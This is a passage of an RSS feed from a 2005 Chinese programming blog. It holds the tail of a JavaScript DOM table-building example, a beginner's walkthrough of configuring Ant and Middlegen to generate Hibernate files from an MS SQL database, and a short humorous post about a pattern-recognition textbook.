align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;td0.appendChild&nbsp;(document.createTextNode(index))<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;td1&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;document.createElement(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">TD</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;td1.appendChild(document.createTextNode(title))<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;td2&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;document.createElement(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">TD</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;td2.appendChild&nbsp;(document.createTextNode(link))<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;row.appendChild(td0);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;row.appendChild(td1);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;row.appendChild(td2);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tbody.appendChild(row);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</SPAN></SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">script</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">HEAD</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">BODY&nbsp;onload&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;load()</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">table&nbsp;id&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">test</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">tr</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">td</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">td</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">td</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">2</SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">td</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">td</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">3</SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">td</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">tr</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">table</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">BODY</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">HTML</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN></DIV>
<P><BR><BR>如果rss_Down_s10.xml可以被修改，还可以使用xsl来按格式显示数据。</P></SPAN></SPAN></SPAN></SPAN></SPAN></SPAN></SPAN></SPAN></SPAN></SPAN></TD></TR></TBODY></TABLE><img src ="http://www.cnitblog.com/Raistlin/aggbug/4068.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-11-08 08:44 <a href="http://www.cnitblog.com/Raistlin/archive/2005/11/08/4068.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>菜鸟学用middlegen</title><link>http://www.cnitblog.com/Raistlin/archive/2005/09/14/2653.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Wed, 14 Sep 2005 03:25:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/09/14/2653.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/2653.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/09/14/2653.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/2653.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/2653.html</trackback:ping><description><![CDATA[<DIV>俺是java和hibernate和ant的绝对的三料菜鸟。hibernate似乎很好用，但是写表对应的类和.hbm.xml文件实在头大。所以俺想找一款可以自动生成这些文件的工具。</DIV>
<DIV><BR>俺找到了middlegen。它的主页地址是<A href="http://boss.bekk.no/boss/middlegen/index.html"><FONT color=#003399>http://boss.bekk.no/boss/middlegen/index.html</FONT></A>。我google了一些中文网页，提供的地址没有一个不失效的。-_-。光有middlegen还不够，因为它使用ant来配置它的build。它的一个bulid生成的东西就是一堆的你可以用的.java,.hbm.xml,.class,.war文件。真是够贴心的。可是俺觉得它的配置可是一点都不贴心。</DIV>
<DIV><BR>你要是没有ant，请先下载ant。俺一直打不开官方的地址，所以从pchome下载<A href="http://dlfjgwbn.pchome.net:8080/development/java/apacheant161.zip"><FONT color=#003399>http://dlfjgwbn.pchome.net:8080/development/java/apacheant161.zip</FONT></A>。解压文件后就可以用了，但等等，你需要安装了jdk，设置了CLASSPATH，JAVA_HOME。然后把ant的目录下的bin文件夹添加到path环境变量，设置ANT_HOME。<BR>我的机器上的设置：<BR>CLASSPATH&nbsp;.;D:\jdk150\lib\tools.jar;D:\jdk150\jre\lib\rt.jar<BR>JAVA_HOME&nbsp;D:\jdk150<BR>Path&nbsp;&nbsp;D:\apache-ant-1.6.1\bin;<BR>ANT_HOME&nbsp;D:\apache-ant-1.6.1</DIV>
<DIV>&nbsp;</DIV>
<DIV>然后下载并解压middlegen。我解压到了D:\hibernate-3.0\middlegen-2.1。好了，现在可以开始build hibernate需要的文件了，有个D:\hibernate-3.0\middlegen-2.1samples的文件夹，它存放了一个build的例子，我决定修改这个例子然后使用。</DIV>
<DIV>&nbsp;</DIV>
<DIV>但是再等等。middlegen需要你提供一些必要的配置。它需要连接到你的数据库，所以你需要给它提供数据库的连接信息和驱动库。各种数据库的配置信息在目录D:\hibernate-3.0\middlegen-2.1\samples\config\database 下面。俺的数据库是mssql，所以俺打开了mssql.xml文件，配置了信息如下：</DIV>
<DIV>&nbsp;&nbsp; &lt;property name="database.script.file"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value=""/&gt;<BR>&nbsp;&nbsp; &lt;property name="database.driver.file"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="${lib.dir}/mssqlserver.jar"/&gt;<BR>&nbsp;&nbsp; &lt;property name="database.driver"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="com.microsoft.jdbc.sqlserver.SQLServerDriver"/&gt;<BR>&nbsp;&nbsp; &lt;property name="database.url"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="jdbc:microsoft:sqlserver://localhost:1433"/&gt;<BR>&nbsp;&nbsp; &lt;property name="database.userid"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="sa"/&gt;<BR>&nbsp;&nbsp; &lt;property name="database.password"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="haha"/&gt;<BR>&nbsp;&nbsp; &lt;property name="database.schema"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="dbo"/&gt;<BR>&nbsp;&nbsp; &lt;property name="database.catalog"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="aljoin_info"/&gt;<BR>&nbsp;&nbsp; &lt;property name="jboss.datasource.mapping"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="MS SQLSERVER"/&gt;</DIV>
<DIV>aljoin_info是俺的数据库名称。并把msbase.jar，mssqlserver.jar，msutil.jar拷贝到D:\hibernate-3.0\middlegen-2.1\samples\lib目录。</DIV>
<DIV>然后编辑D:\hibernate-3.0\middlegen-2.1\samples\build.xml文件，将"ENTITY database SYSTEM"的值改成"file:./config/database/mssql.xml"</DIV>
<DIV>&nbsp;</DIV>
<DIV>更改这个build的其它属性。build.xml中更改project的属性:<BR>&lt;project name="Middlegen aljoni_info" default="hbm2java" basedir="."&gt;<BR>&nbsp;...<BR>&nbsp;&lt;property name="name"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="com.aljoin.gas"/&gt;</DIV>
<DIV><BR>删除D:\hibernate-3.0\middlegen-2.1\samples\build下的所有文件。然后打开命令行，<BR>cd D:\hibernate-3.0\middlegen-2.1\samples<BR>ant<BR>这时候ant会自动读build.xml文件，找到project，运行名为"hbm2java"及其依赖的target.因为俺是菜鸟,什么ejb,jbo俺通通用不到.如果你不是菜鸟,可以设置成default="all",而且如果您的系统没有安装jboss之类的会出错,但我想如果您不是菜鸟应该也不会看到这里了hoho :p</DIV>
<DIV>&nbsp;</DIV>
<DIV>在跳出的程序界面上按generate。等待结束，然后关闭程序界面。在命令行窗口看到正在生成.java文件的信息。</DIV>
<DIV>查看D:\hibernate-3.0\middlegen-2.1\samples\build目录。上帝保佑你会看到一些你需要的文件。</DIV>
<DIV>&nbsp;</DIV>
<DIV>到写完这篇烂文，一个早上已经过去，俺又把青春贡献给了党-_-||</DIV><img src ="http://www.cnitblog.com/Raistlin/aggbug/2653.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-09-14 11:25 <a href="http://www.cnitblog.com/Raistlin/archive/2005/09/14/2653.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>模式识别阅读</title><link>http://www.cnitblog.com/Raistlin/archive/2005/08/17/2147.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Wed, 17 Aug 2005 01:54:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/08/17/2147.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/2147.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/08/17/2147.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/2147.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/2147.html</trackback:ping><description><![CDATA[<DIV>话说菜鸟欲学模式识别，遂购希腊某知名学者著作一本，曰《模式识别》。良久方阅两章，皆概率论、线性代数公式，力不逮也。当年无知，挥霍光阴，概率几被关，悔之晚矣。于是呕血数升，大叫“书到用时方恨少”，毙命于案前。。。</DIV>
<DIV>记之以警后人也。</DIV><img src ="http://www.cnitblog.com/Raistlin/aggbug/2147.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-08-17 09:54 <a href="http://www.cnitblog.com/Raistlin/archive/2005/08/17/2147.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>